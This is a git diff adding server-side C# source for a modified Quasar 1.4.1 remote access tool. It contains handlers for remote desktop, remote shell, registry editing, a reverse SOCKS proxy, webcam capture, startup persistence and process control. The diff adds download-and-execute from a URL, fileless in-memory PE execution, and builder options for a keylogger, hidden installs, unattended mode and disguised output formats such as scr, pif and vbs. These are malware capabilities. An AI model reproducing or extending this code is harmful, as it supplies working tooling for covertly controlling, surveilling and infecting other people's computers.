CreateRegistryValue(string keyPath, RegistryValueKind kind) + { + _client.Send(new DoCreateRegistryValue + { + KeyPath = keyPath, + Kind = kind + }); + } + + /// + /// Deletes the registry key value. + /// + /// The registry key path. + /// The registry key value name to delete. + public void DeleteRegistryValue(string keyPath, string valueName) + { + _client.Send(new DoDeleteRegistryValue + { + KeyPath = keyPath, + ValueName = valueName + }); + } + + /// + /// Renames the registry key value. + /// + /// The registry key path. + /// The old registry key value name. + /// The new registry key value name. + public void RenameRegistryValue(string keyPath, string oldValueName, string newValueName) + { + _client.Send(new DoRenameRegistryValue + { + KeyPath = keyPath, + OldValueName = oldValueName, + NewValueName = newValueName + }); + } + + /// + /// Changes the registry key value. + /// + /// The registry key path. + /// The updated registry key value. + public void ChangeRegistryValue(string keyPath, RegValueData value) + { + _client.Send(new DoChangeRegistryValue + { + KeyPath = keyPath, + Value = value + }); + } + + private void Execute(ISender client, GetRegistryKeysResponse message) + { + if (!message.IsError) + { + OnKeysReceived(message.RootKey, message.Matches); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetCreateRegistryKeyResponse message) + { + if (!message.IsError) + { + OnKeyCreated(message.ParentPath, message.Match); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetDeleteRegistryKeyResponse message) + { + if (!message.IsError) + { + OnKeyDeleted(message.ParentPath, message.KeyName); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetRenameRegistryKeyResponse message) + { + if (!message.IsError) + { + OnKeyRenamed(message.ParentPath, message.OldKeyName, message.NewKeyName); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetCreateRegistryValueResponse message) + { + if (!message.IsError) + { + OnValueCreated(message.KeyPath, message.Value); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetDeleteRegistryValueResponse message) + { + if (!message.IsError) + { + OnValueDeleted(message.KeyPath, message.ValueName); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetRenameRegistryValueResponse message) + { + if (!message.IsError) + { + OnValueRenamed(message.KeyPath, message.OldValueName, message.NewValueName); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetChangeRegistryValueResponse message) + { + if (!message.IsError) + { + OnValueChanged(message.KeyPath, message.Value); + } + else + { + OnReport(message.ErrorMsg); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/RemoteDesktopHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/RemoteDesktopHandler.cs new file mode 100755 index 0000000..fd9d75c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/RemoteDesktopHandler.cs @@ -0,0 +1,177 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Common.Video; +using Quasar.Common.Video.Codecs; +using Quasar.Server.Networking; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Threading; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote desktop. + /// + public class RemoteDesktopHandler : MessageProcessorBase, IDisposable + { + /// + /// States if the client is currently streaming desktop frames. + /// + public bool IsStarted { get; set; } + + /// + /// Used in lock statements to synchronize access to between UI thread and thread pool. + /// + private readonly object _syncLock = new object(); + + /// + /// Used in lock statements to synchronize access to between UI thread and thread pool. + /// + private readonly object _sizeLock = new object(); + + /// + /// The local resolution, see . + /// + private Size _localResolution; + + /// + /// The local resolution in width x height. It indicates to which resolution the received frame should be resized. + /// + public Size LocalResolution + { + get { lock (_sizeLock) { return _localResolution; } } + set { lock (_sizeLock) { _localResolution = value; } } + } + + public delegate void DisplaysChangedEventHandler(object sender, int value); + public event DisplaysChangedEventHandler DisplaysChanged; + + private void OnDisplaysChanged(int value) + { + SynchronizationContext.Post(val => + { + var handler = DisplaysChanged; + handler?.Invoke(this, (int)val); + }, value); + } + + private readonly Client _client; + private UnsafeStreamCodec _codec; + + public RemoteDesktopHandler(Client client) : base(true) + { + _client = client; + } + + public override bool CanExecute(IMessage message) => message is GetDesktopResponse || message is GetMonitorsResponse; + + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDesktopResponse d: + Execute(sender, d); + break; + case GetMonitorsResponse m: + Execute(sender, m); + break; + } + } + + public void BeginReceiveFrames(int quality, int display, int fpsCap = 60) + { + lock (_syncLock) + { + IsStarted = true; + _codec?.Dispose(); + _codec = null; + _client.Send(new GetDesktop { CreateNew = true, Quality = quality, DisplayIndex = display, FpsCap = fpsCap }); + } + } + + public void EndReceiveFrames() + { + lock (_syncLock) + { + IsStarted = false; + _client.Send(new GetDesktop { StopStreaming = true }); + } + } + + public void RefreshDisplays() + { + _client.Send(new GetMonitors()); + } + + public void SendMouseEvent(MouseAction mouseAction, bool isMouseDown, int x, int y, int displayIndex) + { + lock (_syncLock) + { + if (_codec == null) return; + _client.Send(new DoMouseEvent + { + Action = mouseAction, + IsMouseDown = isMouseDown, + X = x * _codec.Resolution.Width / LocalResolution.Width, + Y = y * _codec.Resolution.Height / LocalResolution.Height, + MonitorIndex = displayIndex + }); + } + } + + public void SendKeyboardEvent(byte keyCode, bool keyDown) + { + _client.Send(new DoKeyboardEvent { Key = keyCode, KeyDown = keyDown }); + } + + private void Execute(ISender client, GetDesktopResponse message) + { + lock (_syncLock) + { + if (!IsStarted) return; + + if (_codec == null || _codec.ImageQuality != message.Quality || + _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution) + { + _codec?.Dispose(); + _codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution); + } + + using (MemoryStream ms = new MemoryStream(message.Image)) + { + OnReport(new Bitmap(_codec.DecodeData(ms), LocalResolution)); + } + + message.Image = null; + } + } + + private void Execute(ISender client, GetMonitorsResponse message) + { + OnDisplaysChanged(message.Number); + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + lock (_syncLock) + { + _codec?.Dispose(); + IsStarted = false; + } + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/RemoteDesktopHandler.cs.bak b/Quasar-1.4.1/Quasar.Server/Messages/RemoteDesktopHandler.cs.bak new file mode 100755 index 0000000..a442d45 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/RemoteDesktopHandler.cs.bak @@ -0,0 +1,254 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Common.Video; +using Quasar.Common.Video.Codecs; +using Quasar.Server.Networking; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote desktop. + /// + public class RemoteDesktopHandler : MessageProcessorBase, IDisposable + { + /// + /// States if the client is currently streaming desktop frames. + /// + public bool IsStarted { get; set; } + + /// + /// Used in lock statements to synchronize access to between UI thread and thread pool. + /// + private readonly object _syncLock = new object(); + + /// + /// Used in lock statements to synchronize access to between UI thread and thread pool. + /// + private readonly object _sizeLock = new object(); + + /// + /// The local resolution, see . + /// + private Size _localResolution; + + /// + /// The local resolution in width x height. It indicates to which resolution the received frame should be resized. + /// + /// + /// This property is thread-safe. + /// + public Size LocalResolution + { + get + { + lock (_sizeLock) + { + return _localResolution; + } + } + set + { + lock (_sizeLock) + { + _localResolution = value; + } + } + } + + /// + /// Represents the method that will handle display changes. + /// + /// The message processor which raised the event. + /// All currently available displays. + public delegate void DisplaysChangedEventHandler(object sender, int value); + + /// + /// Raised when a display changed. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event DisplaysChangedEventHandler DisplaysChanged; + + /// + /// Reports changed displays. + /// + /// All currently available displays. + private void OnDisplaysChanged(int value) + { + SynchronizationContext.Post(val => + { + var handler = DisplaysChanged; + handler?.Invoke(this, (int)val); + }, value); + } + + /// + /// The client which is associated with this remote desktop handler. + /// + private readonly Client _client; + + /// + /// The video stream codec used to decode received frames. + /// + private UnsafeStreamCodec _codec; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RemoteDesktopHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetDesktopResponse || message is GetMonitorsResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDesktopResponse d: + Execute(sender, d); + break; + case GetMonitorsResponse m: + Execute(sender, m); + break; + } + } + + /// + /// Begins receiving frames from the client using the specified quality and display. + /// + /// The quality of the remote desktop frames. + /// The display to receive frames from. + public void BeginReceiveFrames(int quality, int display, int fpsCap = 60) + { + lock (_syncLock) + { + IsStarted = true; + _codec?.Dispose(); + _codec = null; + _client.Send(new GetDesktop { CreateNew = true, Quality = quality, DisplayIndex = display }); + } + } + + /// + /// Ends receiving frames from the client. + /// + public void EndReceiveFrames() + { + lock (_syncLock) + { + IsStarted = false; + } + } + + /// + /// Refreshes the available displays of the client. + /// + public void RefreshDisplays() + { + _client.Send(new GetMonitors()); + } + + /// + /// Sends a mouse event to the specified display of the client. + /// + /// The mouse action to send. + /// Indicates whether it's a mousedown or mouseup event. + /// The X-coordinate inside the . + /// The Y-coordinate inside the . + /// The display to execute the mouse event on. + public void SendMouseEvent(MouseAction mouseAction, bool isMouseDown, int x, int y, int displayIndex) + { + lock (_syncLock) + { + _client.Send(new DoMouseEvent + { + Action = mouseAction, + IsMouseDown = isMouseDown, + // calculate remote width & height + X = x * _codec.Resolution.Width / LocalResolution.Width, + Y = y * _codec.Resolution.Height / LocalResolution.Height, + MonitorIndex = displayIndex + }); + } + } + + /// + /// Sends a keyboard event to the client. + /// + /// The pressed key. + /// Indicates whether it's a keydown or keyup event. + public void SendKeyboardEvent(byte keyCode, bool keyDown) + { + _client.Send(new DoKeyboardEvent {Key = keyCode, KeyDown = keyDown}); + } + + private void Execute(ISender client, GetDesktopResponse message) + { + lock (_syncLock) + { + if (!IsStarted) + return; + + if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution) + { + _codec?.Dispose(); + _codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution); + } + + using (MemoryStream ms = new MemoryStream(message.Image)) + { + // create deep copy & resize bitmap to local resolution + OnReport(new Bitmap(_codec.DecodeData(ms), LocalResolution)); + } + + message.Image = null; + + client.Send(new GetDesktop {Quality = message.Quality, DisplayIndex = message.Monitor}); + } + } + + private void Execute(ISender client, GetMonitorsResponse message) + { + OnDisplaysChanged(message.Number); + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + lock (_syncLock) + { + _codec?.Dispose(); + IsStarted = false; + } + } + } + } +} + + + diff --git a/Quasar-1.4.1/Quasar.Server/Messages/RemoteShellHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/RemoteShellHandler.cs new file mode 100755 index 0000000..eae41dc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/RemoteShellHandler.cs @@ -0,0 +1,89 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote shell. + /// + public class RemoteShellHandler : MessageProcessorBase + { + /// + /// The client which is associated with this remote shell handler. + /// + private readonly Client _client; + + /// + /// Represents the method that will command errors. + /// + /// The message processor which raised the event. + /// The error message. + public delegate void CommandErrorEventHandler(object sender, string errorMessage); + + /// + /// Raised when a command writes to stderr. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event CommandErrorEventHandler CommandError; + + /// + /// Reports a command error. + /// + /// The error message. + private void OnCommandError(string errorMessage) + { + SynchronizationContext.Post(val => + { + var handler = CommandError; + handler?.Invoke(this, (string)val); + }, errorMessage); + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RemoteShellHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is DoShellExecuteResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShellExecuteResponse resp: + Execute(sender, resp); + break; + } + } + + /// + /// Sends a command to execute in the remote shell of the client. + /// + /// The command to execute. + public void SendCommand(string command) + { + _client.Send(new DoShellExecute {Command = command}); + } + + private void Execute(ISender client, DoShellExecuteResponse message) + { + if (message.IsError) + OnCommandError(message.Output); + else + OnReport(message.Output); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/ReverseProxyHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/ReverseProxyHandler.cs new file mode 100755 index 0000000..99f64e4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/ReverseProxyHandler.cs @@ -0,0 +1,127 @@ +using Quasar.Common.Messages; +using Quasar.Common.Messages.ReverseProxy; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using Quasar.Server.ReverseProxy; +using System; +using System.Linq; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote reverse proxy. + /// + public class ReverseProxyHandler : MessageProcessorBase + { + /// + /// The clients which is associated with this reverse proxy handler. + /// + private readonly Client[] _clients; + + /// + /// The reverse proxy server to accept & serve SOCKS5 connections. + /// + private readonly ReverseProxyServer _socksServer; + + /// + /// Initializes a new instance of the class using the given clients. + /// + /// The associated clients. + public ReverseProxyHandler(Client[] clients) : base(true) + { + _socksServer = new ReverseProxyServer(); + _clients = clients; + } + + /// + public override bool CanExecute(IMessage message) => message is ReverseProxyConnectResponse || + message is ReverseProxyData || + message is ReverseProxyDisconnect; + + /// + public override bool CanExecuteFrom(ISender sender) => _clients.Any(c => c.Equals(sender)); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case ReverseProxyConnectResponse con: + Execute(sender, con); + break; + case ReverseProxyData data: + Execute(sender, data); + break; + case ReverseProxyDisconnect disc: + Execute(sender, disc); + break; + } + } + + /// + /// Starts the reverse proxy server using the given port. + /// + /// The port to listen on. + public void StartReverseProxyServer(ushort port) + { + _socksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; + _socksServer.OnUpdateConnection += socksServer_onUpdateConnection; + _socksServer.StartServer(_clients, "0.0.0.0", port); + } + + /// + /// Stops the reverse proxy server. + /// + public void StopReverseProxyServer() + { + _socksServer.Stop(); + _socksServer.OnConnectionEstablished -= socksServer_onConnectionEstablished; + _socksServer.OnUpdateConnection -= socksServer_onUpdateConnection; + } + + private void Execute(ISender client, ReverseProxyConnectResponse message) + { + ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); + socksClient?.HandleCommandResponse(message); + } + + private void Execute(ISender client, ReverseProxyData message) + { + ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); + socksClient?.SendToClient(message.Data); + } + + private void Execute(ISender client, ReverseProxyDisconnect message) + { + ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); + socksClient?.Disconnect(); + } + + void socksServer_onUpdateConnection(ReverseProxyClient proxyClient) + { + OnReport(_socksServer.OpenConnections); + } + + void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient) + { + OnReport(_socksServer.OpenConnections); + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + StopReverseProxyServer(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/StartupManagerHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/StartupManagerHandler.cs new file mode 100755 index 0000000..6aa4c98 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/StartupManagerHandler.cs @@ -0,0 +1,76 @@ +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using System.Collections.Generic; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with remote startup tasks. + /// + public class StartupManagerHandler : MessageProcessorBase> + { + /// + /// The client which is associated with this startup manager handler. + /// + private readonly Client _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public StartupManagerHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetStartupItemsResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetStartupItemsResponse items: + Execute(sender, items); + break; + } + } + + /// + /// Refreshes the current startup items. + /// + public void RefreshStartupItems() + { + _client.Send(new GetStartupItems()); + } + + /// + /// Removes an item from startup. + /// + /// Startup item to remove. + public void RemoveStartupItem(StartupItem item) + { + _client.Send(new DoStartupItemRemove {StartupItem = item}); + } + + /// + /// Adds an item to startup. + /// + /// Startup item to add. + public void AddStartupItem(StartupItem item) + { + _client.Send(new DoStartupItemAdd {StartupItem = item}); + } + + private void Execute(ISender client, GetStartupItemsResponse message) + { + OnReport(message.StartupItems); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/SurvivalLogHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/SurvivalLogHandler.cs new file mode 100755 index 0000000..5887fd7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/SurvivalLogHandler.cs @@ -0,0 +1,42 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using System; +using System.Windows.Forms; + +namespace Quasar.Server.Messages +{ + public class SurvivalLogHandler : MessageProcessorBase + { + public SurvivalLogHandler() : base(true) + { + } + + public override bool CanExecute(IMessage message) => message is NewSurvivalLog; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case NewSurvivalLog response: + Execute(sender, response); + break; + } + } + + private void Execute(ISender client, NewSurvivalLog message) + { + string title = message.LogType == "error" ? "Survival Error" : + message.LogType == "complete" ? "Survival Complete" : + "Survival Status"; + + MessageBoxIcon icon = message.LogType == "error" ? MessageBoxIcon.Error : + message.LogType == "complete" ? MessageBoxIcon.Information : + MessageBoxIcon.Information; + + MessageBox.Show(message.Log, title, MessageBoxButtons.OK, icon); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/SystemInformationHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/SystemInformationHandler.cs new file mode 100755 index 0000000..42d8adb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/SystemInformationHandler.cs @@ -0,0 +1,73 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using System; +using System.Collections.Generic; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote system information. + /// + public class SystemInformationHandler : MessageProcessorBase>> + { + /// + /// The client which is associated with this system information handler. + /// + private readonly Client _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public SystemInformationHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetSystemInfoResponse; + + /// + public override bool CanExecuteFrom(ISender client) => _client.Equals(client); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetSystemInfoResponse info: + Execute(sender, info); + break; + } + } + + /// + /// Refreshes the system information of the client. + /// + public void RefreshSystemInformation() + { + _client.Send(new GetSystemInfo()); + } + + private void Execute(ISender client, GetSystemInfoResponse message) + { + OnReport(message.SystemInfos); + + // TODO: Refactor tooltip + //if (Settings.ShowToolTip) + //{ + // var builder = new StringBuilder(); + // for (int i = 0; i < packet.SystemInfos.Length; i += 2) + // { + // if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null) + // { + // builder.AppendFormat("{0}: {1}\r\n", packet.SystemInfos[i], packet.SystemInfos[i + 1]); + // } + // } + + // FrmMain.Instance.SetToolTipText(client, builder.ToString()); + //} + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/SystemOptionHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/SystemOptionHandler.cs new file mode 100755 index 0000000..8a40764 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/SystemOptionHandler.cs @@ -0,0 +1,29 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Forms; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + public class SystemOptionHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is SystemOptionResponse; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case SystemOptionResponse response: + Execute((Client)sender, response); + break; + } + } + + private void Execute(Client client, SystemOptionResponse message) + { + FrmSystemOptions.Instance?.HandleResponse(client, message); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/TaskManagerHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/TaskManagerHandler.cs new file mode 100755 index 0000000..3acff58 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/TaskManagerHandler.cs @@ -0,0 +1,133 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with remote tasks. + /// + public class TaskManagerHandler : MessageProcessorBase + { + /// + /// Represents the method that will handle the result of a process action. + /// + /// The message processor which raised the event. + /// The process action which was performed. + /// The result of the performed process action. + public delegate void ProcessActionPerformedEventHandler(object sender, ProcessAction action, bool result); + + /// + /// Raised when a result of a started process is received. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event ProcessActionPerformedEventHandler ProcessActionPerformed; + + /// + /// Reports the result of a started process. + /// + /// The process action which was performed. + /// The result of the performed process action. + private void OnProcessActionPerformed(ProcessAction action, bool result) + { + SynchronizationContext.Post(r => + { + var handler = ProcessActionPerformed; + handler?.Invoke(this, action, (bool)r); + }, result); + } + + /// + /// The client which is associated with this remote execution handler. + /// + private readonly Client _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public TaskManagerHandler(Client client) : base(true) + { + _client = client; + } + + public override bool CanExecute(IMessage message) => message is DoProcessResponse || + message is GetProcessesResponse; + + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoProcessResponse execResp: + Execute(sender, execResp); + break; + case GetProcessesResponse procResp: + Execute(sender, procResp); + break; + } + } + + /// + /// Starts a new process remotely. + /// + /// The remote path used for starting the new process. + /// Decides whether the process is a client update. + public void StartProcess(string remotePath, bool isUpdate = false) + { + _client.Send(new DoProcessStart { FilePath = remotePath, IsUpdate = isUpdate }); + } + + /// + /// Downloads a file from the web and executes it remotely. + /// + /// The URL to download and execute. + /// Decides whether the file is a client update. + public void StartProcessFromWeb(string url, bool isUpdate = false) + { + _client.Send(new DoProcessStart { DownloadUrl = url, IsUpdate = isUpdate}); + } + + /// + /// Sends raw PE bytes to the client for in-memory execution (no disk write on client). + /// + /// The raw executable bytes. + public void StartProcessInMemory(byte[] payload) + { + _client.Send(new DoProcessStart { ExecuteInMemory = true, Payload = payload }); + } + + /// + /// Refreshes the current started processes. + /// + public void RefreshProcesses() + { + _client.Send(new GetProcesses()); + } + + /// + /// Ends a started process given the process id. + /// + /// The process id to end. + public void EndProcess(int pid) + { + _client.Send(new DoProcessEnd { Pid = pid }); + } + + private void Execute(ISender client, DoProcessResponse message) + { + OnProcessActionPerformed(message.Action, message.Result); + } + + private void Execute(ISender client, GetProcessesResponse message) + { + OnReport(message.Processes); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/TcpConnectionsHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/TcpConnectionsHandler.cs new file mode 100755 index 0000000..3a3ece2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/TcpConnectionsHandler.cs @@ -0,0 +1,76 @@ +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with remote TCP connections. + /// + public class TcpConnectionsHandler : MessageProcessorBase + { + /// + /// The client which is associated with this tcp connections handler. + /// + private readonly Client _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public TcpConnectionsHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetConnectionsResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetConnectionsResponse con: + Execute(sender, con); + break; + } + } + + /// + /// Refreshes the current TCP connections. + /// + public void RefreshTcpConnections() + { + _client.Send(new GetConnections()); + } + + /// + /// Closes a TCP connection of the client. + /// + /// Local address. + /// Local port. + /// Remote address. + /// Remote port. + public void CloseTcpConnection(string localAddress, ushort localPort, string remoteAddress, ushort remotePort) + { + // a unique tcp connection is determined by local address + port and remote address + port + _client.Send(new DoCloseConnection + { + LocalAddress = localAddress, + LocalPort = localPort, + RemoteAddress = remoteAddress, + RemotePort = remotePort + }); + } + + private void Execute(ISender client, GetConnectionsResponse message) + { + OnReport(message.Connections); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/WebcamHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/WebcamHandler.cs new file mode 100755 index 0000000..105a9fb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/WebcamHandler.cs @@ -0,0 +1,51 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using System; +using System.Collections.Generic; +using System.Diagnostics; + +namespace Quasar.Server.Messages +{ + public class WebcamHandler : IMessageProcessor, IDisposable + { + public event EventHandler ImageReceived; + public event EventHandler WebcamsReceived; + + public bool CanExecute(IMessage message) => message is GetWebcamsResponse || + message is GetWebcamResponse; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetWebcamsResponse resp: + Execute((Client)sender, resp); + break; + case GetWebcamResponse resp: + Execute((Client)sender, resp); + break; + } + } + + private void Execute(Client client, GetWebcamsResponse message) + { + Debug.WriteLine($"[WebcamHandler] GetWebcamsResponse received: {message.Webcams}"); + WebcamsReceived?.Invoke(this, message.Webcams); + } + + private void Execute(Client client, GetWebcamResponse message) + { + Debug.WriteLine($"[WebcamHandler] GetWebcamResponse received - Image size: {message.Image?.Length ?? 0} bytes"); + ImageReceived?.Invoke(this, message.Image); + } + + public void Dispose() + { + ImageReceived = null; + WebcamsReceived = null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Models/BuildOptions.cs b/Quasar-1.4.1/Quasar.Server/Models/BuildOptions.cs new file mode 100755 index 0000000..fee2bd3 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Models/BuildOptions.cs @@ -0,0 +1,28 @@ +namespace Quasar.Server.Models +{ + public class BuildOptions + { + public bool Install { get; set; } + public bool Startup { get; set; } + public bool HideFile { get; set; } + public bool Keylogger { get; set; } + public string Tag { get; set; } + public string Mutex { get; set; } + public string RawHosts { get; set; } + public string IconPath { get; set; } + public string Version { get; set; } + public string InstallSub { get; set; } + public string InstallName { get; set; } + public string StartupName { get; set; } + public string OutputPath { get; set; } + public int Delay { get; set; } + public short InstallPath { get; set; } + public string[] AssemblyInformation { get; set; } + public string LogDirectoryName { get; set; } + public bool HideLogDirectory { get; set; } + public bool HideInstallSubdirectory { get; set; } + public bool UnattendedMode { get; set; } + /// Output format: exe, scr, pif, com, bat, vbs + public string OutputFormat { get; set; } = "exe"; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Models/BuilderProfile.cs b/Quasar-1.4.1/Quasar.Server/Models/BuilderProfile.cs new file mode 100755 index 0000000..8d074f0 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Models/BuilderProfile.cs @@ -0,0 +1,410 @@ +using System; +using System.IO; +using System.Windows.Forms; +using System.Xml; +using System.Xml.XPath; + +namespace Quasar.Server.Models +{ + public class BuilderProfile + { + private readonly string _profilePath; + + public string Hosts + { + get + { + return ReadValueSafe("Hosts"); + } + set + { + WriteValue("Hosts", value); + } + } + + public string Tag + { + get + { + return ReadValueSafe("Tag", "Office04"); + } + set + { + WriteValue("Tag", value); + } + } + + public int Delay + { + get + { + return int.Parse(ReadValueSafe("Delay", "3000")); + } + set + { + WriteValue("Delay", value.ToString()); + } + } + + public string Mutex + { + get + { + return ReadValueSafe("Mutex", Guid.NewGuid().ToString()); + } + set + { + WriteValue("Mutex", value); + } + } + + public bool UnattendedMode + { + get + { + return bool.Parse(ReadValueSafe("UnattendedMode", "False")); + } + set + { + WriteValue("UnattendedMode", value.ToString()); + } + } + + public bool InstallClient + { + get + { + return bool.Parse(ReadValueSafe("InstallClient", "False")); + } + set + { + WriteValue("InstallClient", value.ToString()); + } + } + + public string InstallName + { + get + { + return ReadValueSafe("InstallName", "Client"); + } + set + { + WriteValue("InstallName", value); + } + } + + public short InstallPath + { + get + { + return short.Parse(ReadValueSafe("InstallPath", "1")); + } + set + { + WriteValue("InstallPath", value.ToString()); + } + } + + public string InstallSub + { + get + { + return ReadValueSafe("InstallSub", "SubDir"); + } + set + { + 